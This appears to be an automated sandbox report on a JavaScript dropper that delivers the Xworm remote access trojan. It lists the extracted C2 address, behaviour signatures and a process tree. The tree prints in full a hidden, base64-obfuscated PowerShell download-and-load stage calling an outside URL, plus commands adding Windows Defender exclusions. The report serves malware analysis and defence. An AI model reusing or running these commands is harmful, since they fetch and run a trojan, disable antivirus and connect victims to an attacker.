Analysis
- max time kernel
148s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
30/09/2026, 08:25
General
- Target PO300926.js
- Size 33KB
- Sample260930-kbg2masbrd
- SHA256 ca9d3d85b31f567b771cd886ea7f5ff7b67953d1fe3083241a3f3de554f9b5ca
Malware Config
Extracted
-
xworm
-
5.0
-
102.220.160.146:5050
-
p7sMzY5ciavfaEoj
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Enumerates connected drives 3 TTPs 3 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\PO300926.js1⤵
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgneDltcHJlZ3VzdGFudCA9IHZzM2h0dHBzOi8vcm91ZycrJ2gtdHJ1dGgtZTA3Mi5wdWJsaWNmJysndHByZXNlbmQud29ya2Vycy5kZXYvemlwb2lxdnMzOyAnKyd4OW12ZW50cmlsb3F1aXN0aWMgPSB2czNDOk9IMFVzZXJzT0gwUHVibGljT0gwRG93bmxvYWRzT0gwcGF5JysnbG9hZCcrJy50eHR2czM7IHg5bWNvbnNlcnZhdGl2ZWx5ID0gW2FjdGl2YXRvcl06OmNyZWF0ZUluc3RhbmNlKFtuZXQud2ViY2xpZW50XSk7IHg5bWNvbnNlJysncnZhdGl2ZWx5LkhlYWRlcnMuQWRkKHZzM1VzZXItQWdlbnR2czMsIHZzM01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbicrJzY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAnKycoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjAuMC4wLjAgU2FmYXJpLzUzNy4zNnZzMyk7IHg5bWNvbnNlcnZhdGl2ZScrJ2x5LkRvd25sb2FkRmlsZSh4OW1wcicrJ2VndXN0YW50LCB4OW0nKyd2ZW50cmknKydsb3F1aXN0aWMpOyB4OW0nKydmaXJlcGxhY2VzID0gKEdldC1Db250ZW50IHg5bXZlbnRyaWxvcXVpc3RpYyAtUmF3KTsnKycgeDltbG92ZXNpY2sgPSB4OW1maXJlcGxhY2VzLlJlcGxhY2UoVk5rKlZOayxWTmtBVk5rKTsgeDltUGFuJysndGFncnVlbGlhbiA9IFtjaGFyW11dJysnKCh4OW1sb3Zlc2ljay4nKydUb0NoYXJBJysncnJheSgpKScrJ1soeDltbG92ZXNpY2suTGUnKyduZ3RoLTEpLi4wXSk7IHg5bScrJ2FzdHJvbGFiZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luIHg5bVBhJysnbnRhZ3J1ZWxpYW4pOyBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5Mb2FkKHg5bWFzdHJvbGFiZXMpIGU3RSBPdXQtTnVsbDsgW1dpbjMyLlJNUC5hYWFhYWFhXTo6YWFhYWFhYWFhYWEoVk5rb0xaZmhUeGpIVGptaUFteicrJ3dYY29Ca29oc1c0TDhqZCcrJ2hhSlp4VjMwQmtuYnhseTMrb3h3RFBpUUlYOHpvUzUyUGpoRitZZFI5RXhVdnBaREhkQmt4THdjWmZhMCs1d1BzakZscWxDZHowUUE9Vk5rLFZOa0pvWXJISEZzSkVIJysndycrJ0RDdnplaEI1Ris1NC9BJysnL1NNcFZ6JysnNmhrNlNla2R3MGc9JysnVk5rLFZOa0huVTVteHF4NkpwK1JGajNwdmxUVEhESzNwNGdQU3ZnWWtxJysnUUdZQkJaYWl4S1VUaVpWZkR4Uk1MMHlCS0k0YTZWTmssVk5rRFhOaU9YVmkvcE5FJysneXNGMlYwdWtIJysnWDh4MVJrUnhXJysna3p3bHQzcW1XeG82VT0nKydWTmssVk5rTzhEaGxQT2tCTW5hVXIzTWllTEpDM0w3VUNBaldsNHgnKyd4MElvMicrJyt5clEnKyc1UT1WTmssVk5rVk5rLFZOa3k1alpqbFplSTE4WlcnKycyNFRwVlo0Y2lIQnRibFJCc052ajVhVXM5RmpaVUU9Vk5rLFZOa3BVTjRyYmlJTExmY3hRYzh4aVJyZmhHbTVYRkVhK1V6RytZZmxudUEwRUU9Vk5rLFZOa3dWUnVaTEY1Skd1VjI2QmEnKydpbXdBZHFybk03WnhIOUN1eXcvanczbGRWSkUnKyc9Vk5rLFZOa2ErS3ROK0pZRnI4RFY3bnpaNTlTYjVQeE9oakNlVVVTSzRyUndKb214Rjk1bmMwSVphaGJvclp5VGEyZDNmNUVWJysnTmssVk5rVGtCNWtqcU1Qckp1bjJNSGVMbC9RcFErbXRjU0RIOEpCaVRtZEZncm9PQT1WTmssVk5rVk5rLFZOazl2WDJDaEdFcWlMN0RkMlE2d0Zkd05WTmJhQ3N2ZjA4Vll4VUZpK01GU0U9Vk5rLFZOazdOeTRWWDdlcnF0SHhUbnJNa0pqamptT1duS2EnKycwVnNHS1ZrT1hNdDA5WWc9Vk5rLFZOazJVTVlKNEpRM1UySGJpNEcnKycrSCcrJzlrcE1sUXpQekh5THNrcDgnKydYd1hoUXdSN2M9Vk5rLFZOa1ZtenQya2NVTzAnKycraFNFUXlZTUxnSTA3WCcrJ0ZPWnUnKydYS3QnKydHenBOdkdoU3FPcUk9Vk5rLFZOa1ZOayxWTmtWTmssVk5rVk5rKTsgUmUnKydtb3ZlLUl0ZW0gLVBhdCcrJ2ggeDltdmVudHJpbG8nKydxdWlzdGljIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDbycrJ250aW51ZScpIC1jcmVwbEFjRSAgJ1ZOaycsW0NIQXJdMzkgIC1SRXBsQWNlICAoW0NIQXJdNzkrW0NIQXJdNzIrW0NIQXJdNDgpLFtDSEFyXTkyICAtUkVwbEFjZSAoW0NIQXJdMTE4K1tDSEFyXTExNStbQ0hBcl01MSksW0NIQXJdMzQtUkVwbEFjZSAnZTdFJyxbQ0hBcl0xMjQgLVJFcGxBY2UgJ3g5bScsW0NIQXJdMzYpIHxpZXg=')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\conhost.execonhost.exe1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_jhs5rtvn.dh1.ps1
memory/2364-51-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-117-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-9-0x00000163BEE70000-0x00000163BEE92000-memory.dmp
memory/2364-12-0x00000163BEF10000-0x00000163BEF20000-memory.dmp
memory/2364-13-0x00000163C11D0000-0x00000163C123C000-memory.dmp
memory/2364-61-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-65-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-139-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-137-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-135-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-133-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-131-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-129-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-127-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-125-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-121-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-119-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-43-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-115-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-113-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-111-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-109-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-107-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-105-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-103-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-101-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-99-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-97-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-95-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-93-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-92-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-87-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-85-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-83-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-81-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-77-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-75-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-73-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-71-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-69-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-68-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-63-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-59-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-57-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-55-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-53-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-1-0x00000163BEF10000-0x00000163BEF20000-memory.dmp
memory/2364-49-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-0-0x00000163BEF10000-0x00000163BEF20000-memory.dmp
memory/2364-45-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-47-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-41-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-39-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-35-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-33-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-31-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-29-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-27-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-25-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-123-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-23-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-21-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-89-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-79-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-19-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-17-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-15-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-37-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-14-0x00000163C11D0000-0x00000163C1237000-memory.dmp
memory/2364-912-0x00000163C1240000-0x00000163C1241000-memory.dmp
memory/2364-913-0x00000163BEF10000-0x00000163BEF20000-memory.dmp
memory/4032-967-0x0000000005FE0000-0x0000000006334000-memory.dmp
memory/4032-969-0x0000000070050000-0x000000007009C000-memory.dmp
memory/5984-919-0x0000000000400000-0x0000000000410000-memory.dmp
memory/5984-920-0x0000000005060000-0x00000000050FC000-memory.dmp
memory/5984-980-0x0000000005CA0000-0x0000000005CAA000-memory.dmp
memory/5984-979-0x0000000005CC0000-0x0000000005D52000-memory.dmp
memory/5984-978-0x0000000005F00000-0x00000000064A4000-memory.dmp
memory/6064-925-0x0000000005310000-0x0000000005376000-memory.dmp
memory/6064-947-0x00000000070B0000-0x0000000007153000-memory.dmp
memory/6064-935-0x00000000060A0000-0x00000000060BE000-memory.dmp
memory/6064-936-0x0000000006150000-0x000000000619C000-memory.dmp
memory/6064-937-0x0000000007040000-0x0000000007072000-memory.dmp
memory/6064-938-0x0000000070050000-0x000000007009C000-memory.dmp
memory/6064-948-0x0000000007A30000-0x00000000080AA000-memory.dmp
memory/6064-951-0x0000000007670000-0x0000000007706000-memory.dmp
memory/6064-946-0x0000000007080000-0x000000000709E000-memory.dmp
memory/6064-949-0x00000000073F0000-0x000000000740A000-memory.dmp
memory/6064-950-0x0000000007460000-0x000000000746A000-memory.dmp
memory/6064-933-0x0000000005AB0000-0x0000000005E04000-memory.dmp
memory/6064-952-0x00000000075F0000-0x0000000007601000-memory.dmp
memory/6064-953-0x0000000007620000-0x000000000762E000-memory.dmp
memory/6064-924-0x00000000051A0000-0x0000000005206000-memory.dmp
memory/6064-923-0x0000000005000000-0x0000000005022000-memory.dmp
memory/6064-922-0x0000000005440000-0x0000000005A68000-memory.dmp
memory/6064-921-0x0000000002780000-0x00000000027B6000-memory.dmp
memory/6064-954-0x0000000007630000-0x0000000007644000-memory.dmp
memory/6064-955-0x0000000007730000-0x000000000774A000-memory.dmp
memory/6064-956-0x0000000007710000-0x0000000007718000-memory.dmp